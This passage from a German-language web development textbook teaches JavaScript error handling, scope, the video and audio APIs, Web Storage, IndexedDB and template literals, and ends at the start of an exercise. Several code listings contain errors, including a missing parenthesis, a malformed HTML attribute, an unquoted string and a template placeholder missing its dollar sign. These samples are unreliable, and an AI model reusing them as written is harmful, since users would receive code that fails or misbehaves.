  //ja, verfügbar
}
else {
  /nein, nicht verfügbar
}


                Nun könnte man noch argumentieren, dass man ja auch prüfen müsste, ob das navigator-Objekt vorhanden ist. Nun, dieses Objekt gibt es mit Sicherheit, und darauf dürfen wir vertrauen, ist navigator doch ein wesentliches Interface des window-Objekts. Endlich einmal gute Nachrichten! Dennoch sehen Sie das Prinzip: Die if-Anweisung wird benutzt, um zu prüfen, ob eine Funktion(-alität) existiert oder nicht.

                Ein alternativer Existenzcheck wäre if(geolocation in navigator) { ... }, wo überprüft wird, ob ein Objekt namens geolocation im navigator-Objekt existiert.

            
            
                Die Typprüfung

                Die zweite unserer Möglichkeiten ist die Typprüfung. Sie erfolgt über typeof:

                if(
  navigator.geolocation &&
  typeof navigator.geolocation.getCurrentPosition==="function"
) { ... }


                Eine Liste aller möglichen Ergebnisse finden Sie auf der Developer-Site von Mozilla (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof). Tabelle 7.8 zeigt die gängigsten.
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                                "symbol"
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                                "function"

                            
                        

                        
                            	
                                alle anderen Objekte

                            
                            	
                                "object"

                            
                        

                    
                

                Tabelle 7.8    
            Ergebnisse von »typeof«

                Eine sehr ähnliche Idee verfolgt der instanceof-Operator. Mit seiner Hilfe kann geprüft werden, ob ein Objekt (ein Objekt, Array etc.) eine Instanz (also eine Art »Verwendung«) eines bekannten Objekts ist. Beispielsweise könnte ein Datumsobjekt (const gebDatum = new Date();) vorliegen, aber man ist sich nicht sicher, ob das Objekt tatsächlich ein Datumsobjekt ist. Das wäre etwa dann der Fall, wenn das Datumsobjekt dynamisch erzeugt wird. instanceof würde dies prüfen und ein boolesches Ergebnis zurückliefern: gebDatum instanceof Date;

            
        
        
            7.13.4    Exceptions und try-catch

            Nun haben wir ein erstes Rezept, um Fehler zu vermeiden. Wovor wir dennoch nicht gefeit sind, sind beispielsweise Fehler, die in Funktionen oder in APIs auftreten – beispielsweise dann, wenn wir an Funktionen Werte übergeben, die die Funktion nicht erwartet und mit denen sie nicht umgehen kann. In diesem Fall kommt es in aller Regel zu einer Ausnahmesituation für den Browser, den dieser mit einer Exception quittiert – genau den Fall wollen wir nicht, denn er resultiert in einem Fehler, der weitreichende Konsequenzen für den Rest der Seite haben kann.

            Die Idee von try-catch ist, dass man etwas »einfach mal versucht« und dann schaut, was passiert: Wird eine Exception erzeugt, so fängt man diese ab und führt einen alternativen Code aus. Dementsprechend besteht ein try-catch-Konstrukt aus einem try- und einem catch-Teil. Zusätzlich darf noch ein optionaler finally-Teil verwendet werden:

            
                	
                    Der try-Teil: In ihn wird der Code gesetzt, der eventuell eine Exception erzeugen könnte. Ist dies der Fall, so wird der try-Teil abgebrochen und mit dem catch-Teil fortgefahren.

                

                	
                    Der catch-Teil: Dieser wird dann ausgeführt, wenn tatsächlich eine Exception aufgetreten ist. Ihm wird auch mithilfe eines Identifiers (typischerweise ist das ein Objekt) übermittelt, welcher Fehler aufgetreten ist.

                

                	
                    Der finally-Teil (optional): Dieser wird sowohl am Ende des try- als auch am Ende des catch-Teils ausgeführt.

                

            

            Daraus ergibt sich folgende Syntax:

            try {
  tryStatements
}
catch(error) {
  catchStatements
}
finally {
  finallyStatements
}


            Listing 7.76    
            Das Konstrukt von try-catch

            Ein try-catch sollte immer dann zum Einsatz kommen, wenn man es mit Funktionen bzw. APIs (samt deren Methoden) zu tun hat und sich nicht sicher sein kann, ob der Code auch tatsächlich funktioniert.

        
        
            7.13.5    Eigene Exceptions

            Zunächst möchte ich eines vorausschicken: Exceptions sind nicht per se eine schlechte Nachricht. Vielmehr gehören sie zumeist zu den guten Nachrichten, da wir zumindest erfahren, dass ein Fehler aufgetreten ist. Eine entsprechende Fehlerbehandlung vorausgesetzt, kann man – wie Sie bereits im vorigen Abschnitt gesehen haben – ein robustes System erzeugen.

            Betrachten wir etwa folgenden Code, in dem eine Funktion zum Dividieren zweier Zahlen verwendet wird, so ist uns natürlich klar, dass beim Funktionsaufruf zwei Zahlen übergeben werden müssen:

            function dividiere0(a,b) {
  return a/b;
}
console.log(dividiere0(3,2));
console.log(dividiere0(3,0));
console.log(dividiere0(3,"a"));


            Würden wir diesen Code ausführen, so würde die erste Division den Wert 1,5, die zweite Division ein Infinity und die dritte Division ein NaN erzeugen. Keine der beiden letztgenannten Werte löst eine Exception aus, weshalb eine Fehlerbehandlung auch keinen Sinn machen würde (es ist ja kein Fehler aufgetreten), aber dennoch sind die Ergebnisse nicht sinnvoll. Dem kann man nun begegnen, indem man überprüft, ob die übergebenen Werte beide Zahlen sind und ob sich der Inhalt von b von 0 unterscheidet. Sollte dies nicht der Fall sein, reagieren wir darauf, indem wir eine Exception erzeugen:

            function dividiere2(a,b) {
  if(!(
    typeof a==="number" &&
    typeof b==="number" &&
    b!==0
  )) {
    throw new TypeError("a und b müssen Zahlen sein; b muss ungleich 0 sein");
  }
 
  return a/b;
}
 
console.log(dividiere2(3,2));
console.log(dividiere2(3,0));
console.log(dividiere2(3,"a");


            Listing 7.77    
            Eigene Exceptions erzeugen

            Abbildung 7.85 zeigt das Ergebnis in der Entwicklerkonsole.

            
                [image: Ein Type Error tritt auf, da die Division einer Zahl und eines Strings wenig Sinn macht.]

                Abbildung 7.85    
            Ein Type Error tritt auf, da die Division einer Zahl und eines Strings wenig Sinn macht.

            
            Sie werden sich nun fragen, was das soll. Wir werden uns doch wohl nicht selbst ins Knie schießen wollen? Natürlich nicht! In diesem Beispiel muss es eine entsprechende Exception-Verarbeitung an anderer Stelle geben. Der Vorteil der eigenen Exceptions besteht darin, dass diese geloggt werden können und sollen. Hierfür kann man an zentraler Stelle eine Ereignisbehandlung für ein Error Logging definieren, durch die der aufgetretene Fehler an einen Server übermittelt wird:

            window.onerror = function(message, file, line, column, error) {
  console.log("Fehler in der Datei " + file + " in Zeile " + line + ", Spalte " + column + ":");
  console.log(message);
  //in weiterer Folge hier eine AJAX- oder fetch-Übermittlung an einen Server
};


            Listing 7.78    
            So wird ein aufgetretener Fehler an einen Logserver übermittelt.

        
        
            7.13.6    Globale und lokale Variablen

            Ich hatte es ja bereits erwähnt: Je größer Projekte werden, umso mehr Scriptdateien aus unterschiedlichen Quellen häufen sich an. Dies birgt die große Gefahr, dass ein und derselbe Variablenname mehrfach deklariert und die Variable zu unterschiedlichen Zwecken benutzt (und auch geändert) wird. Handelt es sich dabei um globale Variablen, so ist der Schaden perfekt. Wir hatten uns ja bereits gegen Ende von Abschnitt 7.4.6 über den Scope unterhalten und Folgendes gefunden:

            
                	
                    Global Scope: Variablen, die außerhalb einer Funktion bzw. eines Blocks deklariert werden

                

                	
                    Script Scope: Variablen, Konstanten, Funktionen und Klassen sind nur innerhalb des Scriptblocks eines Moduls verfügbar.

                

                	
                    Function Scope: Variablen, die im Rahmen einer Funktion deklariert werden

                

                	
                    Block Scope: Variablen, die in einem Blockbereich deklariert werden

                

            

            
                [image: Ein Error Logging hilft uns, clientseitigen Fehlern auf die Spur zu kommen.]

                Abbildung 7.86    
            Ein Error Logging hilft uns, clientseitigen Fehlern auf die Spur zu kommen.

            
            Die beiden letztgenannten Scopes machen uns keine Sorgen, sind sie doch lokal. Probleme bereitet uns der Global Scope. Möchten Sie dieses Problem verhindern, so bieten sich zwei Möglichkeiten an:

            
                	
                    Sie kreieren einen Private Scope, indem Sie sämtlichen Code zwischen geschwungene Klammern setzen:

                    {
  let a = 17;
  var b = 23;
  const PI = 3.1415;
  function dividiere(a,b) { … }
  …
}


                

                	
                    Sie verwenden Module, die Sie in Abschnitt 7.12 kennengelernt haben.

                

            

        
        
            7.13.7    Weitere Hilfsmittel zur Zielerreichung

            Neben den genannten Werkzeugen gibt es noch eine Reihe von Möglichkeiten, auf die wir setzen können:

            
                	
                    Promises: Durch die Promise-Methode then und die darin vorkommenden Success- und Error-Ereignisbehandlungen werden etwaig aufgetretene Fehler abgefangen und können entsprechend gehandhabt werden. Außerdem können eigene Exceptions generiert (man sagt »geworfen«) werden.

                

                	
                    Funktionsbibliotheken: Externe Funktionsbibliotheken wie jQuery oder Lodash sind erprobte, getestete und für (sehr) gut befundene Bibliotheken. Auch wenn in Ihnen der Wunsch brennt, nur eigenen Code zu verwenden: Vergessen Sie’s, und setzen Sie lieber auf diese Bibliotheken!

                

                	
                    Linter: Linter sind Programme zum Testen vom Code in Hinblick auf Programmierfehler, Bugs, stilistische Fehler und verdächtig wirkende Konstrukte. Die bekanntesten JavaScript-Linter sind ESLint (https://eslint.org/; auch als VS Code-Extension verfügbar), JSLint (https://www.jslint.com) und JSHint (https://jshint.com). Die meisten besseren Webeditoren (wie Adobe Dreamweaver oder WebStorm und PHPStorm) verfügen über integrierte Linter.

                

            

        
    


                    
                        
        7.14    Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API

        Neben den Basis-HTML-Elementen existieren auch solche, die mittels einer eigenen JavaScript-API gesteuert werden können. Dies sind vor allem solche, die im Rahmen von HTML5 hinzugekommen sind (siehe auch Abschnitt 5.10 »Multimedia mit Audio, Video & Co.«):

        
            	
                video

            

            	
                audio

            

            	
                canvas

            

        

        Anhand ausgewählter Beispiele betrachten wir nun die Funktionsweise dieser Elemente.

        
            7.14.1    Die Video- und Audio-API zum Steuern von Medieninhalten

            Eines der wichtigsten Tags bei der Einführung von HTML5 war das video-Tag, mit dem es erstmals möglich wurde, ohne ein externes Plugin (wie etwa Flash) Videos abzuspielen; Gleiches gilt für das Abspielen von Audio-Daten. Die zugehörige API ist relativ umfangreich und ermöglicht eine sehr gute Kontrolle über das abzuspielende Audio/Video.

            Unter anderem können folgende Eigenschaften einer Audio- bzw. Videodatei abgefragt werden (auszugsweise; für eine vollständige Auflistung siehe https://www.w3schools.com/tags/ref_av_dom.asp):

            
                	
                    currentTime: die aktuelle Position während des Abspielens

                

                	
                    duration: die Dauer der Audio- bzw. Videodatei

                

                	
                    volume: die eingestellte Lautstärke

                

            

            Neben den Eigenschaften sind selbstredend auch die Methoden von entscheidender Bedeutung (Auszug):

            
                	
                    load: Lädt die Datei neu.

                

                	
                    play: Startet eine gestoppte/pausierte Datei.

                

                	
                    pause: Pausiert eine gerade abgespielte Datei.

                

            

            
                [zB]  Das Abspielen einer Videodatei mit JavaScript steuern

                Betrachten wir das Abspielen einer Videodatei auf Basis folgender Aufgabenstellung:

                
                    	
                        Ein beliebiges Video soll in einer maximalen Breite von 60 em eingebettet und horizontal mittig am Bildschirm dargestellt werden.

                    

                    	
                        Unter dem Video sollen sich drei selbst zu erstellende Buttons befinden, und zwar mit folgenden Funktionalitäten:

                        
                            	
                                Play

                            

                            	
                                Pause

                            

                            	
                                Restart

                            

                        

                    

                

                Die Buttons sollen mit den zugehörigen Funktionalitäten belegt werden. Unterhalb des Videos sollen folgende Informationen platziert werden, die mittels JavaScript aus der Videodatei abgefragt werden sollen:

                
                    	
                        Dauer des Videos in Sekunden

                    

                    	
                        Die Videoquelle (die Sourcedatei)

                    

                

                Um die Videodatei (hier: SYNE_aufklappenderWuerfel.mp4 aus dem Ordner videos) einzubetten, wird folgender Code benötigt:

                <video id="VPlayer">
  <source src="videos/SYNE_aufklappenderWuerfel.mp4" type="video/mp4">
</video>


                Listing 7.79    
            Die Videodatei wird in HTML eingebettet.

                Um das video-Tag in weiterer Folge mittels JavaScript ansprechen zu können, wird dem Tag eine entsprechende ID (VPlayer) zugwiesen. Die benötigten Buttons werden unterhalb des Video-Tags eingebettet, ebenso die beiden Absätze, in denen die Dauer des Videos sowie die Videoquelle dargestellt werden sollen:

                <body>
  <video id="VPlayer">
    <source src="videos/SYNE_aufklappenderWuerfel.mp4" type="video/mp4">
  </video>
  <div class="flexbox">
    <button type="button" id="btnPlay">play</button>
    <button type="button" id="btnPause">pause</button>
    <button type="button" id="btnRestart">restart</button>
  </div>
  <output id="Dauer"></output>
  <output id="URL"></output>
</body>


                Listing 7.80    
            Die Buttons zum Abspielen, Pausieren und Neustarten sind nun eingefügt.

                Dem DOMContentLoaded-Ereignis wird ein Event Handler zugewiesen, der einerseits die Daten aus der Videodatei ausliest und andererseits den Buttons ihre Funktionalität zuweist:

                window.addEventListener("DOMContentLoaded",(ev) => {
  const videoplayer = document.querySelector("#VPlayer");
  document.querySelector("#Dauer").innerHTML = videoplayer.duration + " Sekunden";
  document.querySelector("#URL").innerHTML = videoplayer.currentSrc;

  document.querySelector("#btnPlay").addEventListener("click", (ev) => {
    videoplayer.play();
  });
  document.querySelector("#btnPause").addEventListener("click", (ev) => {
    videoplayer.pause();
  });
  document.querySelector("#btnRestart").addEventListener("click", (ev) => {
    videoplayer.load();
    videoplayer.play();
  });
});


                Listing 7.81    
            Mit Event Handlern weisen wir den Buttons eine Funktionalität zu.

                Die Funktionen für Play, Pause und Restart gestalten sich dann relativ einfach – lediglich beim Restart müssen wir daran denken, dass die load-Methode das Video zwar neu lädt, es aber trotzdem nicht sofort abspielt.

                Der zugehörige CSS-Code gestaltet sich folgendermaßen (ohne Erklärung) – auf die Flexbox für die Buttons kann man natürlich auch verzichten:

                #VPlayer {
  max-width:60em;
  height:auto;
  margin:auto;
  display:block;
  border-radius:0.5em;
}
.flexbox {
  padding:1em;
  display:flex;
  justify-content:center;
  gap:1em;
}
button {
  padding:1em;
  border:1px solid grey;
  background-color:white;
  color:grey;
  border-radius:0.25em;
}
output {
  display:block;
  margin-bottom:0.2em;
} 


                Listing 7.82    
            Ein wenig CSS sorgt für eine gute Darstellung.

            

            Der vollständige Code ist im Downloadbereich des Buchs zu finden.

            
                [zB]  Ein Audioplayer zum Abspielen mehrerer Tracks

                Als Nächstes betrachten wir die Einbettung von Audiodateien, und zwar auf Basis folgender Aufgabenstellung:

                
                    	
                        Es soll ein Audioplayer mit Abspielkonsole (Play, Pause/Stop, Lautstärke) dargestellt werden. Die Abspielkonsole soll mit dem control-Attribut erzeugt werden.

                    

                    	
                        Darunter sollen mindestens fünf Audiotracks in Form einer ungeordneten Liste wie folgt dargestellt werden (als Beispiel):

                        
                            	
                                Metallica: Enter Sandman

                            

                            	
                                Nirvana: Lithium

                            

                            	
                                Rage against the Machine: Killing in the name of

                            

                            	
                                House of Pain: Jump around

                            

                            	
                                Metallica: The Unforgiven

                            

                        

                    

                    	
                        Bei einem Klick auf einen der Tracks soll dieser (mittels JavaScript) in den Audioplayer geladen und automatisch abgespielt werden.

                    

                

                Der HTML-Code gestaltet sich wie folgt:

                <body>
  <audio id="APlayer" controls></audio>
  <ul class="tracklist">
    <li><a onclick="data-track="media/entersandman.mp3">Metallica: Enter Sandman3</a></li>
    <li><a data-track="media/lithium.mp3">Nirvana: Lithium</a></li>
    <li><a data-track="media/killinginthename">Rage against the Machine: Killing in the name of</a></li>
    <li><a data-track="media/jumparound.mpg">House of Pain: Jump around 
</a></li>
    <li><a data-track="media/theunforgiven.mp3">Metallica: The Unforgiven 
</a></li>
  </ul>
</body>


                Listing 7.83    
            Der HTML-Code besteht aus der Einbettung für Audiodaten und einer Liste, aus der der jeweilige Track entnommen werden soll.

                Nach dem vollständigen Laden des HTML-Dokuments wird über das Ereignis DOMContentLoaded der Variablen a der Verweis auf den Audioplayer zugewiesen:

                var a;
document.addEventListener("DOMContentLoaded", function() {
  a = document.querySelector("#APlayer");
  $(".tracklist a").on("click",function() {
    ladeTrack($(this).attr("data-track"));
  });
});


                Listing 7.84    
            Ein Event Handler sorgt wieder einmal für die Funktionalität: Bei einem Klick auf einen Anker innerhalb der Liste soll der zugehörige Audiotrack geladen und abgespielt werden, wozu die Funktion »ladeTrack()« aufgerufen wird.

                Wie Sie sehen, wird dem Audioplayer zunächst keine Datei zugewiesen. Dies erfolgt erst über den Klick auf einen der aufgelisteten Tracks, also durch den Aufruf der Funktion ladeTrack, die über eine zuvor zugewiesene Ereignisbehandlung (für click) aufgerufen wird. Der Übergabewert an die Funktion (also die URL zum Track) wird aus dem Attribut data-track des geklickten Ankers ermittelt.[ 3 ] Die Funktion nimmt die URL der abzuspielenden Datei entgegen, weist sie dem src-Attribut des Audioplayers zu und startet das Abspielen:

                function ladeTrack(src) {
  a.src = src;
  a.play();
}


                Listing 7.85    
            Die Funktion »ladeTrack()« bekommt den Pfad zur Audiodatei übergeben, weist sie dem Audioplayer zu und startet das Abspielen.

                Alternativer Ansatz: Etwas einfacher und sauberer wäre es gegangen, hätten wir die beiden Funktionen (Ereignisbehandlung der Anker sowie die Funktion ladeTrack) in einer Funktion (nämlich in der Ereignisbehandlung) zusammengefasst:

                document.addEventListener("DOMContentLoaded", function() {
  const a = document.querySelector("#APlayer");
  $(".tracklist a").on("click",function() {
    a.src = $(this).attr("data-track");
    a.play();
  });
});


                Listing 7.86    
            Alternativ packen wir den gesamten Lade- und Abspielteil in den Event Handler.

                Die CSS-Ausgestaltung des Players ist wiederum relativ einfach:

                #APlayer {
  display:block;
  margin:auto;
  padding:1em;
  border:1px solid black;
  border-radius:0.5em;
  background-color:#eee;
}


                Listing 7.87    
            Der CSS-Code hält keine Überraschungen mehr bereit.

            

        
    


                    
                        
        7.15    Lokale Datenspeicherung – wohin mit den Daten?

        Zur lokalen Speicherung von Daten stehen drei Möglichkeiten zur Verfügung: Session Storage, Local Storage und IndexedDB. Der Unterschied zwischen den ersten beiden Varianten ist, dass die Daten im Local Storage dauerhaft, die Daten im Session Storage jedoch nur für die Dauer einer Sitzung verfügbar sind, wobei eine »Sitzung« so lange dauert, bis der User das Browserfenster schließt (und nicht so lange, bis der User den Tab schließt). Die IndexedDB hingegen ist eine Web-API, die zum Speichern großer (größerer) Datenmengen auf der Clientseite verwendet wird.

        Die Speicherung (kleinerer oder größerer) Datenmengen wird dann interessant, wenn die Website mehr und mehr Richtung App (Hybrid-App, Progressive Web-App, Web-App) geht, wo auch damit gerechnet werden muss, dass die Internet-Verbindung kurzzeitig abreißt. Stellen Sie sich vor, Sie wollen in einem Online-Shop einkaufen und füllen Ihren Warenkorb. Mitten im Bearbeiten des Warenkorbs geht die Internetverbindung verloren. Wo sollen jetzt die Änderungen im Warenkorb gespeichert werden? Das klappt dann natürlich nur lokal auf den Geräten der User. Sobald die Verbindung wieder steht, werden die lokalen Daten mit dem bestehenden Warenkorb synchronisiert.

        Oder ein anderes Beispiel: Sie führen ein Online-Trainingstagebuch, aber in dem Studio, in dem Sie trainieren, gibt es keine Internetverbindung. Da hilft es natürlich, wenn Sie Ihre Trainingserfolge zwischenzeitlich auf dem lokalen Gerät speichern können.

        Je nachdem, wie umfangreich die zu speichernden Daten sind, wählt man entweder eine der Storage-Varianten oder die IndexedDB. Mir ist bewusst, dass Sie zu diesem Zeitpunkt noch nicht sehr viel über Datenbanken wissen, weshalb ich diesen Abschnitt eher kurz halte. Quellen zum Weiterlesen oder Vertiefen gebe ich natürlich an.

        Local Storage und Session Storage

        Werfen wir zunächst einen Blick auf die ersten beiden Vertreter. Hier gilt es zu beachten, dass der Zugriff auf die gespeicherten Daten außer (selbstverständlich) von der Domain auch vom verwendeten Protokoll abhängt: Daten, die etwa unter http://www.abc.at gespeichert wurden, sind unter https://www.abc.at nicht verfügbar.

        Folgende Methoden stellen uns beide Varianten zur Verfügung:

        
            	
                Speichern von Daten:

                sessionStorage.setItem("key", "value"); bzw.

                localStorage.setItem("key","value");

            

            	
                Abfragen gespeicherter Daten:

                let data = sessionStorage.getItem("key"); bzw.

                let data = localStorage.getItem("key");

            

            	
                gespeicherte Daten aus dem Storage entfernen:

                sessionStorage.removeItem("key"); bzw.

                localStorage.removeItem("key");

            

            	
                alle gespeicherten Daten aus dem Storage entfernen:

                sessionStorage.clear(); bzw.

                sessionStorage.clear();

            

        

        Alternativ zum Speichern und Abfragen von Daten kann auch die Objekt- oder Array-basierte Schreibweise verwendet werden. Die drei folgenden Zeilen sind von ihrer Funktionsweise identisch:

        localStorage.setItem("Vorname","Uwe");
localStorage.Vorname = "Uwe";
localStorage["Vorname"] = Uwe;


        Selbiges gilt auch für das Auslesen von Daten. Die drei unten stehenden Zeilen sind von der Funktionsweise wiederum identisch:

        let vn = localStorage.getItem("Vorname");
let vn = localStorage.Vorname;
let vn = localStorage["Vorname"];


        
            [»]  Beliebige Werte im Storage speichern

            Selbstverständlich kann jeder im Rahmen von JavaScript mögliche Wert im Storage gespeichert werden, sofern er zuvor in einen String umgewandelt wird. Dies gilt somit insbesondere auch für Arrays und Objekte. Speziell im Fall von JSON empfiehlt sich ein Blick auf die Methoden stringify und parse.

        

        Weiterführende Informationen finden Sie etwa unter https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API.

        Im Wesentlichen bestehen die Unterschiede zwischen beiden Varianten in der Dauer der Datenspeicherung:

        
            	
                Session Storage auf kurze Zeit
Der Session Storage stellt die Möglichkeit dar, Daten auf dem System des Users abzulegen, während eine Website verwendet wird. Dies bedeutet, dass die Daten nur während der »Sitzung« des Users vorhanden sind, danach jedoch vom Browser gelöscht werden.

            

            	
                Local Storage für die Ewigkeit
Anders als im Session Storage werden die im Local Storage gespeicherten Daten dauerhaft gespeichert. Natürlich kann der User über die Möglichkeiten des Browsers die Daten wieder löschen, aber ein automatisiertes Löschen erfolgt nicht. Details zum Local Storage finden Sie etwa unter https://developer.mozilla.org/de/docs/Web/API/Window/localStorage.

            

        

        IndexedDB

        Die IndexedDB API ist ein transaktionsbasiertes Datenbanksystem (ähnlich wie SQL, das Sie in Abschnitt 12.6, »Noch eine Sprache – SQL« kennenlernen werden). Dennoch ist die Datenbank nicht auf Tabellenbasis (wie das bei relationalen Datenbanken der Fall ist), sondern in Form von JavaScript-Objekten aufgebaut. Da der gesamte Datenbankbereich für Sie zu diesem Zeitpunkt noch ein Graubereich ist, belasse ich es auch bei dieser Darstellung von IndexedDB und lege Ihnen die Mozilla-Quelle der API ans Herz: https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API.

    


                    
                        
        7.16    Vorlagen (Template Literals)

        Wir nähern uns dem Ende dieses langen Kapitels, und ich möchte Sie noch auf eine Sache hinweisen, die dann häufig zum Einsatz kommt, wenn die Website mehr und mehr dynamisch aufgebaut wird: Template Literals. Sie dienen als einfache und intuitive Platzhalter in ein- und mehrzeiligen Strings. Wichtig ist, dass die Literale nur dann verwendbar sind und auch funktionieren, wenn der String in sogenannten Backticks (`) steht.

        let customer = {
  name: "Foo"
};
let card = {
  amount: 7,
  product: "Bar",
  unitprice: 42
};
let message = `Hallo ${customer.name}, wollen Sie das Produkt {card.product} zum Preis von EUR ${card.amount} und einem Gesamtpreis von ${card.amount * card.unitprice} EUR kaufen?`;


        Die Template Literals sind dann praktisch, wenn man Strings nicht konkatenieren, sondern sie mit Platzhaltern versehen möchte, die sich je nach Inhalt einer Variablen (oder auch eines Objekts) aktualisieren.

    


                    
                        
        7.17    Das Finale? Prototypen, Klassen, Architektur und Co.

        An irgendeiner Stelle muss man als Autor einen Schlussstrich ziehen, da man ansonsten nie zum Ende kommen würde. In einem Buch, das von den Grundlagen der Webentwicklung handelt, ist dieser Schlussstrich im Fall von JavaScript vor dem Arbeiten mit Klassen fällig.

        Der Begriff Klassen bezieht sich an dieser Stelle jedoch nicht auf CSS-Klassen, sondern auf Klassen, wie man sie aus der Objektorientierung kennt. Nichtsdestotrotz ist das Arbeiten mit Klassen in JavaScript etwas, das nicht mehr als »Basiswissen« gilt, sondern als »fortgeschrittenes Wissen«. Sie werden auch feststellen, dass bei der Betrachtung von Quellcodes beliebiger Websites nur selten mit Objektorientierung gearbeitet wird (in Wahrheit ist JavaScript prototypenbasiert objektorientiert).

        
            7.17.1    Website-Architektur

            Irgendwann in Ihrer Karriere als Entwickler*in wird auch der Punkt kommen, an dem es nicht mehr nur um das Lösen von Problemen geht, sondern an dem Ihre Projekte größer und größer werden und Sie sich über ganz andere Dinge Gedanken machen müssen:

            
                	
                    Wie stabil läuft die Website?

                

                	
                    Ist das System skalierbar (d. h. beliebig vergrößer- und erweiterbar)?

                

                	
                    Wie performant ist die Website?

                

            

            Eine sehr bekannte Frontend-Entwicklerin, Natalia Venditto, hat in ihrem Vortrag »Beyond Micro-Frontends and the Jamstack – Architecting and Integrating Decoupled Applications in the Cloud for Enhanded User Experience« eine Reihe von Prinzipien vorgestellt, die Sie bei der Entwicklung guter Websites beachten sollten. Auch wir haben uns darüber Gedanken gemacht (oder machen uns in folgenden Kapiteln Gedanken), doch nun fließen die unterschiedlichen Teile zusammen:

            
                	
                    Prinzipien, die Sie immer befolgen sollten:

                    
                        	
                            Prinzip 1: Lade externe Scripts mit async und defer. Beachte den kritischen Pfad.

                        

                        	
                            Prinzip 2: Eliminiere »toten Code«.

                        

                        	
                            Prinzip 3: Definiere und berücksichtige ein Budget für die Performance-Optimierung.

                        

                    

                

                	
                    Prinzipien, die Sie befolgen sollten, wann immer das möglich ist:

                    
                        	
                            Prinzip 4: Halte an den Web-APIs und Webstandards fest.

                        

                        	
                            Prinzip 5: Nutze neue Frontend-Frameworks bzw. halte die Frameworks aktuell.

                        

                    

                

            

            Gleichen wir mal ab, was Sie in welchem Abschnitt gelernt haben:

            
                	
                    Mit Prinzip 1 haben wir uns in Abschnitt 7.3.6 befasst. Unter dem kritischen Pfad (engl. critical path) versteht man die Zeit, die vergeht, bis der Browser damit anfängt, die Seite zu rendern. Hierüber haben wir uns zusätzlich auch in Kapitel 6 zum CSSOM Gedanken gemacht.

                

                	
                    Beim Prinzip 2 geht es darum, Code zu eliminieren, der gar nicht benötigt wird. Das passiert sehr oft dann, wenn man mit Funktionsbibliotheken arbeitet, die mit der Zeit immer umfangreicher geworden sind. Dieses Problem haben wir gelöst, indem wir Module eingeführt haben (siehe Abschnitt 7.12).

                

                	
                    Tja, zu Prinzip 3 haben wir in der Tat nicht viel Vorarbeit geleistet, weil wir uns im Rahmen dieses Buches nicht über Angebotslegungen (Kostenvoranschläge) und Kalkulation Gedanken gemacht haben. Macht nichts – nun ist das Thema auf dem Tisch: Performance-Optimierung braucht Zeit und kostet somit Geld.

                

                	
                    Prinzip 4 besagt im Wesentlichen, dass die Möglichkeiten von JavaScript mit seinem mittlerweile sehr guten Standard und seinen Web-APIs ausreichen sollten, um gute Websites zu bauen. Diese Aussage beinhaltet auch, dass Sie das Rad nicht neu erfinden sollten, wenn es bereits erfunden wurde. Dass wir in manchen Fällen nicht anders können (beispielsweise dann, wenn wir Systeme einbauen müssen, die das Prinzip 4 nicht berücksichtigen), ist okay. Als Beispiel haben wir die fetch-API in Abschnitt 7.10.3 oder auch die Module in Abschnitt 7.12 genutzt. In Abschnitt 7.11 über Web-APIs habe ich Ihnen ans Herz gelegt, sich diese vorzunehmen. Oft ist es sehr hilfreich, sich die Definition der APIs durchzulesen, nur um eine Idee davon zu bekommen, was möglich ist. Bei zukünftigen Projekten werden Sie sich dann wieder daran erinnern.

                

                	
                    Zu Prinzip 5 gibt es, abgesehen von jQuery in Form einer Funktionsbibliothek, noch mehrere gute Frameworks bzw. Bibliotheken:

                    
                        	
                            React (https://react.dev/): React ist eine Bibliothek zum Erstellen von User-Interfaces.

                        

                        	
                            Vue.js (https://vuejs.org/): Vue.js ist ein Framework zum Erstellen von User-Interfaces.

                        

                        	
                            Angular (https://angular.io/): Angular ist eine vollwertige Entwicklungsumgebung zum Ersetllen von Websites und Web-Apps.

                        

                        	
                            Svelte (https://svelte.dev/): Svelte zielt ebenfalls auf die Entwicklung von Web Apps ab.

                        

                    

                

            

            Bevor jedoch ein solches Framework wie etwa Angular oder Vue zum Einsatz kommt, ist es unabdingbar, sich mit den Grundlagen von JavaScript (sowie HTML und CSS) vertraut gemacht zu haben. Das war und ist auch unsere Motivation – das Bottom-up-Prinzip. Es besagt, dass man zunächst die Grundlagen erlernen muss, um sich danach den (darauf aufbauenden) Systemen zu widmen, die einem vielleicht an der einen oder anderen Stelle das Leben leichter machen. Der umgekehrte Weg wäre das Top-down-Prinzip, das aber in unserer Web-Welt nicht (oder nur sehr selten) zum Ziel führt.

        
        
            7.17.2    Lust auf mehr!

            Was ich Ihnen dennoch mit auf den Weg geben möchte, ist die Lust auf noch mehr Wissen im Umgang mit JavaScript. Bilden Sie sich weiter, und hören Sie nie auf, zu lernen und besser zu werden. Den Anfang haben Sie gemacht, die ersten Schritte sind getan. Hauen Sie rein!

            In den folgenden Kapiteln dreht es sich nicht mehr rein um JavaScript, sondern vielmehr um gewisse Programmiertechniken und Algorithmen, die Ihnen im Laufe Ihrer Karriere nützlich sein werden.

        
    


                    
                        
        7.18    Übungsbeispiel

        Beginnen wir mit einer Geschichte. Es war einmal ein Kaiser im alten China, der – wie es die Legende erzählt – für sein Leben gern Schach spielte. Eines Tages wurde ihm zugetragen, dass es einen Bauer gebe, der meisterhaft Schach spiele. Daraufhin lud der Kaiser den Bauern in seinen Palast ein, um mit ihm eine Partie Schach zu spielen. Es kam, wie es kommen musste: Der Bauer gewann die Partie, woraufhin der Kaiser ihm die Frage stellte, wie er den Bauern nun gebührend belohnen dürfe. Der Bauer war ein sehr zufriedener Mensch und nicht an großem Wohlstand interessiert, weshalb er eine Belohnung ablehnte. Dies entzürnte den Kaiser, und er entgegnete dem Bauern, ob dieser denn denke, dass er, der Kaiser, nicht über genug Reichtum verfüge, um dem Bauern seinen Wunsch zu erfüllen. Um dieser Zwickmühle zu entkommen, antwortete der Bauer, dass er sich als Belohnung für seinen Sieg in der Schachpartie nicht mehr als einzelne Reiskörner erbitte. Die Anzahl der Reiskörner solle sich wie folgt zusammensetzen:

        
            	
                Auf das erste Feld des Schachbretts solle ein Reiskorn gelegt werden.

            

            	
                Auf das zweite Feld des Schachbretts solle ebenfalls ein Reiskorn gelegt werden.

            

            	
                Auf alle weiteren Felder des Schachbretts solle jeweils die Summe der Reiskörner der beiden vorigen Schachbrettfelder gelegt werden.

            

        

